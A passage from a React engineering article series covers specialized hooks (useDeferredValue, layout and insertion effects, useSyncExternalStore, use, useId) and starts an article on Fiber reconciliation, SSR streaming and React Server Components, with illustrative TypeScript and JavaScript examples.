4. If user types "abc" before background completes, React abandons that render and starts fresh
5. When background render commits, both values match—`isStale` becomes `false`

**React 19 `initialValue` parameter**:

```tsx title="useDeferredValue-initial.tsx"
// React 19: provide initial value for first render
const deferredQuery = useDeferredValue(query, "") // "" on initial render
```

Without `initialValue`, the first render uses the actual value (no deferral possible—there's no "previous" value).

**Comparison with debouncing/throttling**:

| Aspect                 | useDeferredValue           | Debouncing       |
| ---------------------- | -------------------------- | ---------------- |
| Fixed delay            | No—adapts to device speed  | Yes              |
| Interruptible          | Yes—abandons stale renders | No               |
| Integration with React | Deep (concurrent features) | Manual           |
| Use case               | Rendering bottlenecks      | Network requests |

**Edge cases and caveats**:

- **Pass primitives or memoized objects**: `useDeferredValue({ x: 1 })` creates a new object each render, causing unnecessary background work
- **Inside `startTransition`**: Deferred value always equals actual value (update is already deferred)
- **No network request prevention**: Still fetches on every change—combine with caching/debouncing for network calls
- **Effects deferred**: `useEffect` in background render only runs after commit

**When to use vs. useTransition**:

| useDeferredValue                               | useTransition                   |
| ---------------------------------------------- | ------------------------------- |
| Value comes from props (no access to setter)   | You control the state update    |
| Automatic deferral                             | Explicit `startTransition` call |
| No `isPending` (compute from value comparison) | Provides `isPending` flag       |
| Defers a value                                 | Defers a state update           |

## Effect Timing Hooks

The three effect hooks run at different times relative to browser paint:

```
Component renders → DOM updated → useInsertionEffect → useLayoutEffect → Browser paints → useEffect
```

### useLayoutEffect: Synchronous DOM Measurement

**Problem it solves**: You need to measure a DOM element (its position, size) and use that measurement to position something else. With `useEffect`, the element renders in the wrong position first, then jumps—visual flicker.

**Design rationale**: Run _after_ DOM updates but _before_ browser paint. Measure and re-render; the user only sees the final result.

```tsx title="useLayoutEffect-tooltip.tsx" collapse={1-3, 20-30}
import { useLayoutEffect, useRef, useState } from "react"

function Tooltip({ children, targetRect }: { children: React.ReactNode; targetRect: DOMRect }) {
  const ref = useRef<HTMLDivElement>(null)
  const [position, setPosition] = useState({ x: 0, y: 0 })

  useLayoutEffect(() => {
    const tooltip = ref.current
    if (!tooltip) return

    const { width, height } = tooltip.getBoundingClientRect()
    // Position above target, centered
    setPosition({
      x: targetRect.left + targetRect.width / 2 - width / 2,
      y: targetRect.top - height - 8,
    })
  }, [targetRect])

  return (
    <div ref={ref} style={{ position: "fixed", left: position.x, top: position.y }}>
      {children}
    </div>
  )
}
```

**Flow for tooltip positioning**:

1. Initial render: tooltip at (0, 0)
2. DOM updated (tooltip element exists but wrong position)
3. `useLayoutEffect` runs: measures tooltip dimensions, calls `setPosition`
4. Re-render with correct position
5. Browser paints—user sees tooltip in correct position (no flicker)

**Edge cases and caveats**:

| Scenario                                   | Impact                                              |
| ------------------------------------------ | --------------------------------------------------- |
| Expensive calculation in `useLayoutEffect` | Blocks paint—causes jank                            |
| SSR                                        | Does nothing on server; logs warning in development |
| Strict Mode                                | Runs setup+cleanup twice (like all effects)         |

**SSR workarounds**:

```tsx title="useLayoutEffect-ssr.tsx" collapse={1-3}
// Option 1: Client-only rendering with Suspense
;<Suspense fallback={<Spinner />}>
  <TooltipComponent /> {/* Only renders on client */}
</Suspense>

// Option 2: Check for browser environment
const [mounted, setMounted] = useState(false)
useEffect(() => setMounted(true), [])
if (!mounted) return <Fallback />
```

**When to use vs. useEffect**:

| useLayoutEffect               | useEffect                    |
| ----------------------------- | ---------------------------- |
| DOM measurements before paint | Data fetching, subscriptions |
| Synchronous repositioning     | Non-visual side effects      |
| Avoiding visual flicker       | Everything else              |

### useInsertionEffect: CSS-in-JS Style Injection

**Problem it solves**: CSS-in-JS libraries need to inject `<style>` tags before `useLayoutEffect` runs, so layout measurements read the correct styles.

**Design rationale**: Run before _all_ other effects—even `useLayoutEffect`. This is the earliest point to inject styles.

```tsx title="useInsertionEffect-css.tsx" collapse={1-2}
import { useInsertionEffect } from "react"

function useCSS(rule: string) {
  useInsertionEffect(() => {
    const style = document.createElement("style")
    style.textContent = rule
    document.head.appendChild(style)
    return () => style.remove()
  }, [rule])
}
```

**Critical limitations** (unlike other effects):

| Limitation             | Reason                                   |
| ---------------------- | ---------------------------------------- |
| Cannot update state    | Would cause render during render         |
| Refs not attached yet  | DOM elements not connected to refs       |
| DOM may not be updated | Timing is uncertain—only styles are safe |
| Client-only            | No-op on server                          |

**This hook is for library authors only**. Application code should never use `useInsertionEffect` directly—use a CSS-in-JS library that handles this internally.

## External State Integration

### useSyncExternalStore: Subscribe to External Stores

**Problem it solves**: Subscribing to external stores (Redux, Zustand, browser APIs) with `useEffect` + `useState` causes "tearing" in concurrent mode—different parts of the UI render with different store versions.

**Design rationale**: Provide React with a `subscribe` function and a `getSnapshot` function. React guarantees all components see the same snapshot within a single render.

```tsx title="useSyncExternalStore-online.tsx" collapse={1-2}
import { useSyncExternalStore } from "react"

function useOnlineStatus() {
  return useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot)
}

function subscribe(callback: () => void) {
  window.addEventListener("online", callback)
  window.addEventListener("offline", callback)
  return () => {
    window.removeEventListener("online", callback)
    window.removeEventListener("offline", callback)
  }
}

function getSnapshot() {
  return navigator.onLine
}

function getServerSnapshot() {
  return true // Assume online during SSR
}
```

**The tearing problem**: In concurrent mode, a render can pause. If an external store changes while paused, some components see the old value, others see the new value. `useSyncExternalStore` detects this and forces a synchronous re-render.

**API contract**:

| Function              | Requirement                                                        |
| --------------------- | ------------------------------------------------------------------ |
| `subscribe(callback)` | Must return unsubscribe function; call callback when store changes |
| `getSnapshot()`       | Must return **immutable** data; same reference if unchanged        |
| `getServerSnapshot()` | Optional; provides initial value for SSR/hydration                 |

**Common mistake—mutable snapshots**:

```tsx title="useSyncExternalStore-mutable.tsx"
// ❌ Creates new object each call → infinite re-renders
function getSnapshot() {
  return { count: store.count } // New object every time
}

// ✅ Return the same reference if data unchanged
function getSnapshot() {
  return store.state // Immutable; same reference when unchanged
}
```

**Memoization requirements**:

```tsx title="useSyncExternalStore-memo.tsx" collapse={1-3}
// ❌ subscribe recreated each render → resubscribes constantly
function Component({ userId }) {
  const data = useSyncExternalStore(
    (callback) => store.subscribe(userId, callback), // New function each render!
    () => store.get(userId),
  )
}

// ✅ Memoize or move outside component
const subscribe = (callback) => store.subscribe(callback)
function Component() {
  const data = useSyncExternalStore(subscribe, getSnapshot)
}

// ✅ Or use useCallback for dynamic subscriptions
function Component({ userId }) {
  const subscribe = useCallback((callback) => store.subscribe(userId, callback), [userId])
  const data = useSyncExternalStore(subscribe, () => store.get(userId))
}
```

**Edge cases and caveats**:

| Scenario                        | Behavior                                                          |
| ------------------------------- | ----------------------------------------------------------------- |
| Store changes during transition | React may restart render as blocking to prevent tearing           |
| Missing `getServerSnapshot`     | SSR throws; use `Suspense` boundary to defer to client            |
| Suspending on store values      | ❌ Discouraged—external mutations can't be marked as non-blocking |

**When to use**: State management libraries (Redux, Zustand), browser APIs (`localStorage`, `navigator.onLine`), any external data source.

**When not to use**: React-managed state. Prefer `useState`/`useReducer` when possible.

### use: Read Promises and Context

**Problem it solves**: Consuming promises required custom hooks or libraries that integrate with Suspense. Reading context conditionally was impossible with `useContext`.

**Design rationale (React 19)**: A single API that reads resources during render. Unlike other hooks, `use` can be called conditionally—it doesn't follow the "top-level only" rule.

```tsx title="use-promise.tsx" collapse={1-3, 14-22}
import { use, Suspense } from "react"

function UserProfile({ userPromise }: { userPromise: Promise<User> }) {
  const user = use(userPromise) // Suspends if promise pending

  return <h1>{user.name}</h1>
}

function App() {
  const userPromise = fetchUser(123) // Create promise once

  return (
    <Suspense fallback={<Loading />}>
      <UserProfile userPromise={userPromise} />
    </Suspense>
  )
}
```

**Promise consumption flow**:

1. Component calls `use(promise)`
2. If promise pending: component suspends, Suspense fallback shows
3. If promise resolved: returns resolved value
4. If promise rejected: throws to nearest Error Boundary

**Context consumption** (alternative to `useContext`):

```tsx title="use-context.tsx" collapse={1-2}
// use() can be called conditionally—useContext cannot
function HorizontalRule({ show }: { show: boolean }) {
  if (show) {
    const theme = use(ThemeContext) // Conditional read is allowed
    return <hr className={theme} />
  }
  return null
}
```

**Critical caveat—promise recreation**:

```tsx title="use-promise-recreation.tsx"
// ❌ Client Component: promise recreated every render → infinite suspense
function BadComponent({ userId }) {
  const user = use(fetchUser(userId)) // New promise each render!
}

// ✅ Pass promise from Server Component (stable across renders)
// Server Component
export default function Page({ userId }) {
  const userPromise = fetchUser(userId) // Created once
  return <UserProfile userPromise={userPromise} />
}
```

**Error handling**:

```tsx title="use-error-handling.tsx" collapse={1-3}
// Option 1: Error Boundary
;<ErrorBoundary fallback={<Error />}>
  <Suspense fallback={<Loading />}>
    <UserProfile userPromise={userPromise} />
  </Suspense>
</ErrorBoundary>

// Option 2: Handle before passing to use()
const safePromise = fetchUser(userId).catch(() => ({ name: "Unknown" }))
const user = use(safePromise) // Never rejects
```

**Constraints**:

| Constraint                                            | Workaround                                        |
| ----------------------------------------------------- | ------------------------------------------------- |
| Can't use in try-catch                                | Use Error Boundary or `.catch()`                  |
| Resolved value must be serializable (Server → Client) | Only pass JSON-compatible data                    |
| Promise in Client Component recreates on render       | Pass from Server Component or use caching library |

## SSR and Accessibility

### useId: Stable Unique IDs Across Server and Client

**Problem it solves**: Generating IDs with `Math.random()` or incrementing counters produces different values on server vs. client, causing hydration mismatches.

**Design rationale**: Generate IDs from the component's position in the tree ("parent path"). Same tree position = same ID, regardless of whether it's server or client.

```tsx title="useId-accessibility.tsx" collapse={1-2}
import { useId } from "react"

function PasswordField() {
  const hintId = useId()

  return (
    <>
      <input type="password" aria-describedby={hintId} />
      <p id={hintId}>Password must be 12+ characters</p>
    </>
  )
}
```

**Multiple related IDs** (single `useId` call):

```tsx title="useId-multiple.tsx" collapse={1-2}
function Form() {
  const id = useId()

  return (
    <form>
      <label htmlFor={`${id}-email`}>Email</label>
      <input id={`${id}-email`} type="email" />

      <label htmlFor={`${id}-password`}>Password</label>
      <input id={`${id}-password`} type="password" />
    </form>
  )
}
```

**Multiple React roots** (microfrontends):

```tsx title="useId-prefix.tsx"
// Prevent ID collisions between apps
const root1 = createRoot(container1, { identifierPrefix: "app1-" })
const root2 = createRoot(container2, { identifierPrefix: "app2-" })
```

**Critical constraints**:

| Constraint                       | Reason                                               |
| -------------------------------- | ---------------------------------------------------- |
| Don't use for list keys          | Keys should derive from data, not component position |
| Don't use for `use()` cache keys | ID may change during render; use data-derived keys   |
| Top-level only                   | Like all hooks (except `use`)                        |
| No async Server Components       | Can't use in `async function ServerComponent()`      |

## Advanced Composition Patterns

### Combining Deferred Value with Transition

When both the input and the derived computation are expensive:

```tsx title="combined-deferred-transition.tsx" collapse={1-5, 25-35}
import { useState, useDeferredValue, useTransition, useMemo } from "react"

function DataExplorer({ largeDataset }: { largeDataset: Item[] }) {
  const [filter, setFilter] = useState("")
  const [sortOrder, setSortOrder] = useState<"asc" | "desc">("asc")
  const [isPending, startTransition] = useTransition()

  // Defer filter so typing stays responsive
  const deferredFilter = useDeferredValue(filter)

  // Expensive computation uses deferred value
  const processedData = useMemo(() => {
    const filtered = largeDataset.filter((item) => item.name.includes(deferredFilter))
    return filtered.sort((a, b) => (sortOrder === "asc" ? a.value - b.value : b.value - a.value))
  }, [largeDataset, deferredFilter, sortOrder])

  // Sort change is a transition (can show stale sorted data briefly)
  const handleSortChange = (order: "asc" | "desc") => {
    startTransition(() => {
      setSortOrder(order)
    })
  }

  return (
    <div style={{ opacity: isPending || filter !== deferredFilter ? 0.7 : 1 }}>
      <input value={filter} onChange={(e) => setFilter(e.target.value)} />
      <button onClick={() => handleSortChange("asc")}>Sort Asc</button>
      <button onClick={() => handleSortChange("desc")}>Sort Desc</button>
      <DataTable data={processedData} />
    </div>
  )
}
```

### External Store with Selector (Avoiding Unnecessary Renders)

```tsx title="store-selector.tsx" collapse={1-5, 20-30}
import { useSyncExternalStore, useCallback } from "react"

// Only re-render when selected slice changes
function useStoreSelector<T, S>(store: Store<T>, selector: (state: T) => S): S {
  const subscribe = useCallback((callback: () => void) => store.subscribe(callback), [store])

  const getSnapshot = useCallback(() => selector(store.getState()), [store, selector])

  return useSyncExternalStore(subscribe, getSnapshot)
}

// Usage: component only re-renders when `user.name` changes
function UserName() {
  const name = useStoreSelector(userStore, (state) => state.user.name)
  return <span>{name}</span>
}
```

**Caution**: The selector must be stable (memoized or defined outside component). A new selector each render defeats the optimization.

## Conclusion

Specialized hooks solve problems that core hooks cannot address due to React's architecture:

- **Concurrent features** require marking updates as interruptible (`useTransition`) or deferring values (`useDeferredValue`)
- **Browser paint timing** requires effects that run before paint (`useLayoutEffect`) or before layout effects (`useInsertionEffect`)
- **External state** requires tearing prevention (`useSyncExternalStore`)
- **Async data** requires Suspense integration (`use`)
- **SSR** requires deterministic ID generation (`useId`)

The decision tree: use core hooks by default. Reach for specialized hooks when you encounter their specific problem—concurrent rendering blocking input, visual flicker from late measurements, hydration mismatches, or external store inconsistencies.

## Appendix

### Prerequisites

- [React Hooks Fundamentals](../react-hooks-fundamentals/README.md) - Core hooks and rules
- Understanding of React's render cycle
- Familiarity with SSR (Server-Side Rendering) concepts

### Terminology

| Term                     | Definition                                                                               |
| ------------------------ | ---------------------------------------------------------------------------------------- |
| **Concurrent rendering** | React 18+ feature where renders can be interrupted and resumed                           |
| **Transition**           | A non-blocking state update that can be abandoned if higher-priority work arrives        |
| **Tearing**              | Visual inconsistency where different components show different versions of the same data |
| **Hydration**            | Attaching event handlers to server-rendered HTML on the client                           |
| **Suspense**             | React feature that shows fallback UI while async content loads                           |

### Summary

- `useTransition` marks state updates as non-blocking; use for expensive renders that shouldn't block input
- `useDeferredValue` lags behind a value; use when you don't control the state update
- `useLayoutEffect` runs before paint; use for DOM measurements to avoid flicker
- `useInsertionEffect` runs before all effects; use only in CSS-in-JS libraries
- `useSyncExternalStore` subscribes to external stores safely; prevents tearing in concurrent mode
- `use` reads promises/context during render; can be called conditionally (React 19)
- `useId` generates stable IDs from tree position; prevents SSR hydration mismatches

### References

- [React Documentation: useTransition](https://react.dev/reference/react/useTransition) - Official API reference and examples
- [React Documentation: useDeferredValue](https://react.dev/reference/react/useDeferredValue) - Deferred value patterns
- [React Documentation: useLayoutEffect](https://react.dev/reference/react/useLayoutEffect) - Effect timing and SSR caveats
- [React Documentation: useInsertionEffect](https://react.dev/reference/react/useInsertionEffect) - CSS-in-JS use case
- [React Documentation: useSyncExternalStore](https://react.dev/reference/react/useSyncExternalStore) - External store subscription
- [React Documentation: use](https://react.dev/reference/react/use) - Promise and context consumption (React 19)
- [React Documentation: useId](https://react.dev/reference/react/useId) - Stable ID generation
- [React 18 Release: Concurrent Features](https://react.dev/blog/2022/03/29/react-v18) - Concurrent rendering introduction
- [React 19 Release](https://react.dev/blog/2024/04/25/react-19) - New hooks and async transitions

---

## React Rendering Architecture: Fiber, SSR, and RSC

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/react-architecture/react-rendering-architecture
**Category:** Frontend Engineering / React Architecture
**Description:** React’s rendering architecture has evolved from a synchronous stack-based reconciler to a sophisticated concurrent system built on Fiber’s virtual call stack. This article examines the Fiber reconciliation engine, lane-based priority scheduling, streaming Server-Side Rendering (SSR), and React Server Components (RSC)—now stable as of React 19 (December 2024). Understanding these internals is essential for making informed architectural decisions about rendering strategies, performance optimization, and infrastructure requirements.

# React Rendering Architecture: Fiber, SSR, and RSC

React's rendering architecture has evolved from a synchronous stack-based reconciler to a sophisticated concurrent system built on Fiber's virtual call stack. This article examines the Fiber reconciliation engine, lane-based priority scheduling, streaming Server-Side Rendering (SSR), and React Server Components (RSC)—now stable as of React 19 (December 2024). Understanding these internals is essential for making informed architectural decisions about rendering strategies, performance optimization, and infrastructure requirements.

<figure>

![All rendering models (CSR, SSR, RSC) use the Fiber reconciler. SSR and RSC require hydration on the client to become interactive.](./all-rendering-models-csr-ssr-rsc-use-the-fiber-reconciler-ssr-and-rsc-require-hy.svg)

<figcaption>All rendering models (CSR, SSR, RSC) use the Fiber reconciler. SSR and RSC require hydration on the client to become interactive.</figcaption>
</figure>

## Abstract

React's rendering architecture rests on three interdependent pillars:

<figure>

![Fiber enables interruptible work; Lanes determine priority; execution models determine where rendering occurs.](./fiber-enables-interruptible-work-lanes-determine-priority-execution-models-deter.svg)

<figcaption>Fiber enables interruptible work; Lanes determine priority; execution models determine where rendering occurs.</figcaption>
</figure>

**Mental model:**

1. **Fiber as virtual stack**: Each component becomes a fiber node linked via `child`/`sibling`/`return` pointers. React can pause mid-tree, yield to the browser, and resume—impossible with the native call stack.

2. **Two-phase reconciliation**: The render phase builds a work-in-progress (WIP) tree and is interruptible (5ms time slices via `MessageChannel`). The commit phase applies DOM mutations synchronously—no interruption allowed.

3. **Lanes replace expiration times**: As of React 18, priority is a 31-bit bitmask. Each update gets a lane bit; the scheduler processes the highest-priority lane set first. User input lanes preempt transition lanes.

4. **Rendering location is orthogonal to Fiber**: CSR, SSR, and RSC all use Fiber for reconciliation. RSC differs by serializing the component tree into a streamable Flight protocol, sending only UI descriptions—never component code—to the client.

5. **RSC is stable in React 19**: Server Components ship zero JavaScript to the client, fetch data directly on the server, and integrate with Suspense for progressive streaming.

## 1. The Fiber Reconciliation Engine

### 1.1 From Stack to Fiber: The Paradigm Shift

React's original reconciliation algorithm (pre-React 16) operated synchronously, bound to the JavaScript call stack. A state update would recursively traverse the entire component tree in one uninterruptible pass—blocking the main thread for the duration. Complex trees could cause noticeable jank.

React Fiber (React 16, September 2017) reimplemented reconciliation by **replacing the native call stack with a controllable in-memory data structure**: a tree of fiber nodes linked via `child`/`sibling`/`return` pointers. This virtual stack allows React's scheduler to pause work, yield to the browser for user input or paint, and resume later.

> **Prior to React 16:** The "stack reconciler" processed the entire tree synchronously. Once a render started, it had to complete before the browser could respond to input—causing jank on complex updates.

### 1.2 Anatomy of a Fiber Node

Each fiber node is a "virtual stack frame" holding metadata about a component and its rendering state:

```javascript title="fiber-node-structure.js" collapse={1-2, 26-30}
// Simplified fiber node structure (React 19)
// See ReactFiberLane.js and ReactFiber.js in react-reconciler
const fiberNode = {
  // Identity
  tag: FunctionComponent, // Component type (FunctionComponent, HostComponent, etc.)
  type: ComponentFunction, // Reference to component function/class
  key: "unique-key", // Stable identity for diffing

  // Tree pointers
  child: childFiber, // First child
  sibling: siblingFiber, // Next sibling
  return: parentFiber, // Parent (named "return" as in call stack)

  // Props/state
  pendingProps: newProps, // Props for this render
  memoizedProps: oldProps, // Props from previous render
  memoizedState: hookList, // Linked list of hooks (for function components)

  // Double buffering
  alternate: wipFiber, // Links current ↔ work-in-progress

  // Effects (React 18+: flags instead of effectTag)
  flags: Update | Placement, // Bitmask of side effects
  subtreeFlags: flags, // Aggregated child flags

  // Scheduling (React 18+: lanes instead of expirationTime)
  lanes: SyncLane, // Lane bits for this fiber's updates
  childLanes: lanes, // Aggregated child lanes
}
```

**Double buffering**: React maintains two fiber trees—the **current tree** (displayed UI) and the **work-in-progress (WIP) tree** (being built). The `alternate` pointer links corresponding nodes. During reconciliation, React builds the WIP tree; at commit, a pointer swap makes WIP the new current. This technique—borrowed from video game rendering—ensures atomic UI updates without mutating the live interface.

### 1.3 Two-Phase Reconciliation

Fiber's reconciliation operates in two distinct phases—a design that directly enables concurrent rendering:

#### Render Phase (Interruptible)

The render phase determines what changes to apply. It is **asynchronous and interruptible**, safe to pause mid-tree:

1. **Work loop starts** at the root fiber, traversing depth-first
2. **`performUnitOfWork`** calls `beginWork()` on each fiber, diffing against the previous state
3. **WIP tree builds** progressively as new fibers are created and linked
4. **Time-slicing** pauses after 5ms, yielding to the browser via `MessageChannel`

```javascript title="work-loop-concept.js" collapse={1-2}
// Conceptual work loop (actual implementation in ReactFiberWorkLoop.js)
// React yields after 5ms to maintain 60fps (16.67ms per frame)
function workLoopConcurrent() {
  while (workInProgress !== null && !shouldYield()) {
    performUnitOfWork(workInProgress)
  }
}

function shouldYield() {
  return performance.now() >= deadline // deadline = startTime + 5ms
}
```

**Why MessageChannel, not requestIdleCallback?** `requestIdleCallback` only fires during idle periods—which may never happen on busy pages. `MessageChannel` posts to the macrotask queue, guaranteeing React gets CPU time in the next event loop iteration. The 5ms slice leaves ~11ms per frame for browser layout, paint, and user input.

#### Commit Phase (Synchronous)

Once render completes, React enters the **synchronous, non-interruptible commit phase**:

1. **Tree swap**: WIP becomes current via pointer manipulation
2. **DOM mutations**: React applies changes from the `flags` bitmask on each fiber
3. **Effects execution**: `useLayoutEffect` runs synchronously; `useEffect` schedules asynchronously

This two-phase architecture is the foundation for Suspense, concurrent transitions, and RSC streaming.

### 1.4 Lane-Based Priority System

As of React 18, the scheduler uses **lanes**—a 31-bit bitmask where each bit represents a priority level. This replaced the previous expiration time model.

| Lane                  | Priority | Use Case                               |
| --------------------- | -------- | -------------------------------------- |
| `SyncLane`            | Highest  | Discrete user input (click, key press) |
| `InputContinuousLane` | High     | Continuous input (drag, scroll)        |
| `DefaultLane`         | Normal   | Regular `setState` calls               |
| `TransitionLane`      | Low      | `startTransition` updates              |
| `IdleLane`            | Lowest   | Background work                        |

**Why lanes?** Expiration times forced React to process updates in order of expiration. Lanes allow **batching updates of the same priority** (multiple `SyncLane` updates batch into one render) and **preemption** (a `SyncLane` update can interrupt a `TransitionLane` render).

```javascript title="lane-example.js"
// User clicks button → SyncLane
// startTransition → TransitionLane (won't block input)
function handleClick() {
  setCount((c) => c + 1) // SyncLane - processed immediately
  startTransition(() => {
    setSearchResults(filterLargeList()) // TransitionLane - can be interrupted
  })
}
```

### 1.5 The Heuristic Diffing Algorithm

React implements an **O(n) heuristic diffing algorithm** based on two assumptions that hold for typical UI patterns:

1. **Different element types produce different trees**: Comparing `<div>` to `<span>` at the same position tears down the entire subtree and rebuilds—no attempt to diff children.

2. **`key` provides stable identity**: In lists, the `key` prop allows React to track insertions, deletions, and reordering. Without keys, React uses positional comparison—leading to performance degradation and state bugs when items reorder.

### 1.6 Hooks Integration with Fiber

Each function component's fiber stores its hooks as a linked list in `memoizedState`. A cursor tracks the current hook position during render:

```javascript title="hook-structure.js" collapse={1-2}
// Simplified hook object (see ReactFiberHooks.js)
// Each hook in a component forms a linked list
const hook = {
  memoizedState: value, // Current value (state, ref, etc.)
  baseState: value, // Base for update calculations
  queue: updateQueue, // Pending updates
  next: nextHook, // Next hook in list
}
```

**Why the Rules of Hooks exist**: Hooks rely on call order, not names. React walks the linked list position-by-position. If you call `useState` conditionally, the cursor misaligns—React reads the wrong hook's state. The lint rule `react-hooks/rules-of-hooks` enforces consistent ordering.

## 2. Client-Side Rendering Architectures

### 2.1 Pure Client-Side Rendering (CSR)

In CSR, the browser receives a minimal HTML shell; JavaScript constructs the entire DOM:

```javascript title="csr-init.js" collapse={1-2}
// CSR initialization (React 18+)
import { createRoot } from "react-dom/client"

const root = createRoot(document.getElementById("root"))
root.render(<App />)
```

`createRoot` establishes the fiber tree foundation:

1. Creates **FiberRootNode** (top-level container for React's internal state)
2. Creates **HostRoot fiber** (root fiber corresponding to the DOM container)
3. Links them bidirectionally

`root.render()` schedules an update on the HostRoot fiber, triggering two-phase reconciliation.

**CSR trade-offs**:

| Metric | CSR Performance | Why                                            |
| ------ | --------------- | ---------------------------------------------- |
| TTFB   | Fast            | Minimal HTML shell                             |
| FCP    | Slow            | Blank screen until JS executes                 |
| TTI    | Slow            | Full bundle must load and execute              |
| SEO    | Poor            | Crawlers see empty shell (unless SSR fallback) |

CSR suits internal dashboards and SPAs (Single-Page Applications) where SEO is irrelevant and users expect a loading state.

### 2.2 Server-Side Rendering with Hydration

SSR addresses CSR's blank-screen problem by pre-rendering HTML on the server. **Hydration** is the process of attaching React to server-generated HTML—making it interactive.

#### The Hydration Process

Hydration is **not a full re-render**. React reconciles existing DOM with its virtual tree:

```javascript title="hydration.js" collapse={1-2}
// React 18+ hydration API
import { hydrateRoot } from "react-dom/client"

hydrateRoot(document.getElementById("root"), <App />)
```

Steps:

1. **DOM traversal**: React walks existing HTML alongside its virtual component tree
2. **Event attachment**: Handlers bind to existing DOM elements (no new elements created)
3. **State initialization**: Hooks initialize; effects schedule
4. **Consistency check**: React validates server/client output matches

#### Hydration Mismatches

Mismatches occur when server HTML differs from client render. Common causes:

| Cause               | Example                    | Fix                                                      |
| ------------------- | -------------------------- | -------------------------------------------------------- |
| Date/time           | `new Date().toISOString()` | Use consistent timezone or defer to client               |
| Browser APIs        | `window.innerWidth`        | Check `typeof window !== 'undefined'` or use `useEffect` |
| Random values       | `Math.random()`            | Generate on server, pass as prop                         |
| Extension injection | Ad blockers modify DOM     | Use `suppressHydrationWarning` sparingly                 |

React 18+ can **recover from some mismatches** by re-rendering the mismatched subtree, but recovery has costs: slower hydration and potential for event handlers attaching to wrong elements.

#### Selective Hydration

Suspense enables **selective hydration**—critical components hydrate immediately; others defer:

```javascript title="selective-hydration.jsx" collapse={1-3}
// Selective hydration with Suspense (React 18+)
import { lazy, Suspense } from "react"
const HeavyComponent = lazy(() => import("./HeavyComponent"))

function App() {
  return (
    <div>
      <CriticalHeader />
      <Suspense fallback={<Skeleton />}>
        <HeavyComponent /> {/* Hydrates when visible or interacted with */}
      </Suspense>
    </div>
  )
}
```

Components inside Suspense boundaries hydrate **on demand**—when scrolled into view or when the user attempts interaction. This reduces Time to Interactive (TTI) for complex pages.

### 2.3 Streaming SSR with Suspense

React 18 introduced **streaming SSR**—progressive HTML delivery through Suspense boundaries:

```javascript title="streaming-ssr.js" collapse={1-3}
// Server streaming (React 18+)
import { renderToPipeableStream } from "react-dom/server"
import { App } from "./App"

const stream = renderToPipeableStream(<App />, {
  onShellReady() {
    // Shell ready → send immediately
    response.statusCode = 200
    response.setHeader("content-type", "text/html")
    stream.pipe(response)
  },
  onAllReady() {
    // All Suspense boundaries resolved → useful for crawlers
  },
  onError(error) {
    console.error(error)
    response.statusCode = 500
  },
})
```

**How streaming works**:

1. React renders until it hits a suspended component (e.g., awaiting data)
2. It sends the shell HTML immediately with a `<template>` placeholder
3. As Promises resolve, React streams `<script>` tags containing the resolved HTML
4. Client-side React swaps placeholders with streamed content—no full page reload

**React 19 behavior change**: In React 19, sibling components inside the same Suspense boundary no longer render in parallel—they render sequentially. This was a deliberate performance optimization that caused controversy. To fetch in parallel, either:

- Use separate Suspense boundaries for each sibling
- Trigger fetches outside the render phase (route loaders, RSC data fetching)

## 3. Server-Side Rendering Strategies

### 3.1 Traditional SSR (Page Router Pattern)

In Next.js Pages Router (and similar frameworks), server rendering follows a page-centric data fetching model:

```javascript title="pages/products.js" collapse={1-2, 14-20}
// Next.js Pages Router pattern
// Data fetching happens before component renders
export async function getServerSideProps({ req, res }) {
  const products = await fetchProducts()

  res.setHeader("Cache-Control", "public, s-maxage=10, stale-while-revalidate=59")

  return { props: { products } }
}

export default function ProductsPage({ products }) {
  return (
    <div>
      {products.map((product) => (
        <ProductCard key={product.id} product={product} />
      ))}
    </div>
  )
}
```

This model couples data fetching to routing—server functions execute before rendering, props flow down the tree.

### 3.2 Static Site Generation (SSG)

SSG renders at **build time**, producing static HTML:

```javascript title="ssg-example.js"
export async function getStaticProps() {
  const posts = await fetchPosts()
  return {
    props: { posts },
    revalidate: 3600, // ISR: regenerate every hour
  }
}
```

| Benefit        | Why                                    |
| -------------- | -------------------------------------- |
| Optimal TTFB   | Static files served from CDN edge      |
| Cache-friendly | No server computation per request      |
| Cost-efficient | No runtime infrastructure              |
| Resilient      | No server failures affect availability |

### 3.3 Incremental Static Regeneration (ISR)

ISR bridges SSG and SSR—static pages update **after** build:

1. First request serves stale static page
2. Background regeneration triggers if `revalidate` time exceeded
3. Next request serves updated content
4. On failure, stale content continues serving

**Limitation**: ISR is a Next.js-specific feature, not a React primitive. Other frameworks implement similar patterns differently.

## 4. React Server Components

### 4.1 The RSC Paradigm Shift

React Server Components (RSC), **stable as of React 19** (December 2024), address a different problem than SSR. SSR optimizes initial page load; RSC **eliminates client JavaScript for non-interactive components**.

| Aspect         | SSR                                    | RSC                                |
| -------------- | -------------------------------------- | ---------------------------------- |
| When code runs | Server (once), then client (hydration) | Server only (never reaches client) |
| Bundle size    | Full bundle shipped                    | Only client components in bundle   |
| Data access    | Via API layer                          | Direct database/filesystem access  |
| Interactivity  | After hydration                        | Client components only             |

**Key characteristics**:

- **Zero bundle impact**: Server component code never reaches the client
- **Direct backend access**: Query databases, read files, call internal services
- **Streaming-native**: Integrates with Suspense for progressive rendering
- **Composable**: Server components can render client components (not vice versa)

### 4.2 The Dual Component Model

RSC introduces a clear boundary between component types via module-level directives.

#### Server Components (Default in React 19)

```javascript title="ProductList.server.jsx" collapse={1-2}
// Server Component - runs only on server
// No directive needed - server is the default in RSC environments
export default async function ProductList() {
  // Direct database access - no API layer needed
  const products = await db.query("SELECT * FROM products WHERE active = true")

  return (
    <ul>
      {products.map((p) => (
        <li key={p.id}>{p.name}</li>
      ))}
    </ul>
  )
}
```

**Server component constraints**:

- No hooks that use client state (`useState`, `useReducer`, `useEffect`, `useLayoutEffect`)
- No browser APIs (`window`, `document`, event handlers)
- No client-only imports
- Can use: `async/await`, filesystem, database, environment variables

#### Client Components (Explicit Opt-in)

```javascript title="AddToCart.client.jsx"
"use client" // Module-level directive - marks client boundary

import { useState } from "react"

export function AddToCart({ productId }) {
  const [pending, setPending] = useState(false)

  return (
    <button onClick={() => addToCart(productId)} disabled={pending}>
      Add to Cart
    </button>
  )
}
```

**`"use client"` semantics**: This is a **module boundary**, not a component boundary. All imports from this module (and their transitive imports) become part of the client bundle. Place the directive at the top of the file, before imports.

### 4.3 The Flight Protocol (RSC Wire Format)

RSC serializes the component tree into a **streamable wire format** called Flight. Unlike JSON, Flight supports:

- Streaming (chunks arrive progressively)
- Promise references (resolved out-of-order)
- Module references (for client component loading)

#### Payload Structure

```text title="flight-payload-example.txt"
